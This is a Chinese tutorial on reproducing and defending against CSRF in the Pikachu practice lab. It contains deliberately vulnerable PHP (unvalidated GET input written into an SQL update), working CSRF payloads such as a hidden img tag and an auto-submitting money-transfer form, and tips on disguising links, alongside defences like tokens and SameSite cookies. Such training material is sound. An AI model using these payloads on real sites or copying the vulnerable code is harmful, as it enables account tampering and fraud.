1. 初识Pikachu靶场与CSRF漏洞
Pikachu靶场是国内安全圈知名的Web漏洞练习平台,名字来源于宝可梦中的皮卡丘形象,寓意着"电力十足"的漏洞挖掘体验。这个开源项目整合了OWASP Top 10中的各类典型漏洞环境,其中CSRF(Cross-Site Request Forgery)模块是理解前端安全威胁的绝佳实验场。
我第一次接触CSRF漏洞是在一次内部渗透测试中。当时发现某电商平台的修改收货地址功能竟然没有任何防护措施,攻击者只需构造一个恶意链接,用户点击后就会悄无声息地修改配送信息。这种"借刀杀人"的攻击方式让我意识到:前端安全绝非只是防止XSS那么简单。
注意:Pikachu靶场建议在本地虚拟机环境搭建,切勿部署在公网服务器。最新版本可从GitHub官方仓库获取,避免第三方修改版可能植入的后门。
需要模型API调用? 免费领10W Token,多模型网关一键接入 Claude、DeepSeek 等主流模型。
2. CSRF漏洞原理深度剖析
2.1 什么是CSRF攻击
想象你在咖啡厅用笔记本登录了银行网站,这时收到一封带图片的邮件。当你查看邮件时,浏览器自动加载了图片——这个图片实际上是一个向银行转账的请求。由于你已登录银行,请求会携带你的会话cookie成功执行。这就是典型的CSRF攻击场景:利用用户已认证的身份,在用户不知情时执行非预期操作。
CSRF与XSS的关键区别在于:
- XSS:攻击者向网站注入恶意脚本
- CSRF:攻击者利用用户对网站的信任
2.2 Pikachu靶场的CSRF场景设计
Pikachu靶场提供了三种典型的CSRF实验场景:
- GET型CSRF(修改个人信息)
- POST型CSRF(转账操作)
- Token验证绕过(高级防御场景)
以GET型为例,其漏洞代码核心如下:
php复制// 接收GET参数直接修改数据库
if(isset($_GET['submit'])){
$name = $_GET['name'];
$phone = $_GET['phone'];
$email = $_GET['email'];
$update_sql="update member set username='$name',phone='$phone' where id=1";
// 执行SQL...
}
这种未验证请求来源的直接操作,就是CSRF滋生的温床。
3. 手把手复现CSRF攻击
3.1 环境准备
首先确保你的Pikachu靶场运行正常:
bash复制# 启动Apache和MySQL(XAMPP环境示例)
sudo /opt/lampp/lampp start
# 访问靶场
http://localhost/pikachu/vul/csrf/csrfget.php
3.2 GET型CSRF攻击演示
- 正常登录Pikachu账户(账号:admin 密码:123456)
- 观察修改个人信息的请求格式:
code复制GET /pikachu/vul/csrf/csrfget.php?name=hacker&phone=13344445555&submit=submit HTTP/1.1 - 构造恶意链接:
html复制<img src="http://localhost/pikachu/vul/csrf/csrfget.php?name=hacker&phone=13344445555&submit=submit" width="0" height="0"> - 诱使用户访问含该代码的页面,信息即被修改
实战技巧:短链接服务常被用来隐藏恶意URL,如bit.ly可生成看似无害的链接。
3.3 POST型CSRF攻击进阶
POST型需要构造表单自动提交:
html复制<form action="http://localhost/pikachu/vul/csrf/csrfpost.php" method="POST">
<input type="hidden" name="money" value="10000">
<input type="hidden" name="name" value="hacker">
<input type="submit" value="点击领红包">
</form>
<script>document.forms[0].submit();</script>
4. CSRF防御机制实战
4.1 验证HTTP Referer
在服务端检查请求来源:
php复制$referer = $_SERVER['HTTP_REFERER'];
$valid_domain = 'localhost';
if(strpos($referer, $valid_domain) === false){
die("非法请求来源!");
}
缺陷:Referer可能被禁用或伪造。
4.2 Anti-CSRF Token最佳实践
- 服务端生成Token:
php复制$_SESSION['token'] = bin2hex(random_bytes(32));
- 表单携带Token:
html复制<input type="hidden" name="token" value="<?php echo $_SESSION['token']?>">
- 请求验证Token:
php复制if($_POST['token'] !== $_SESSION['token']){
die("Token验证失败!");
}
4.3 SameSite Cookie属性
现代浏览器支持的特性:
php复制// 设置Cookie时添加SameSite属性
setcookie('PHPSESSID', session_id(), [
'samesite' => 'Strict',
'secure' => true,
'httponly' => true
]);
三个可选值:
- Strict:完全禁止第三方Cookie
- Lax:宽松模式(默认)
- None:关闭保护(需配合Secure)
5. 企业级防御方案
5.1 关键操作二次验证
- 短信验证码
- 邮箱确认链接
- 生物识别验证
5.2 请求频率限制
php复制// 记录用户操作时间
$last_request = $_SESSION['last_request'] ?? 0;
if(time() - $last_request < 5){
die("操作过于频繁!");
}
$_SESSION['last_request'] = time();
5.3 安全框架集成
- Spring Security的CSRF防护
- Django的{% csrf_token %}标签
- Laravel的VerifyCsrfToken中间件
6. 渗透测试中的CSRF挖掘技巧
6.1 漏洞识别三要素
- 关键操作是否仅依赖会话cookie
- 请求是否可预测(无随机参数)
- 是否缺少Token/Referer验证
6.2 Burp Suite自动化测试
- 拦截正常请求
- 右键菜单选择"Generate CSRF PoC"
- 移除Token参数测试
- 修改Referer头测试
6.3 漏洞报告编写要点
- 清晰描述重现步骤
- 提供PoC代码片段
- 评估潜在影响(如:可修改管理员密码)
- 给出修复建议(具体代码示例)
7. 从靶场到实战的思考
在真实渗透测试中,CSRF常与其他漏洞组合利用。比如先通过XSS获取Token,再构造CSRF攻击链。Pikachu靶场虽然简化了场景,但核心原理与企业应用完全一致。
我曾在某SRC平台通过CSRF漏洞批量修改用户邮箱,最终获得高危评级。关键突破点是发现其Token生成算法可预测:
python复制# 逆向分析的伪代码
def generate_token(user_id):
timestamp = int(time.time() / 3600) # 每小时变化一次
return md5(f"{user_id}{timestamp}{SECRET}").hexdigest()
这种时间依赖型Token,在知悉算法后完全可以预先计算。
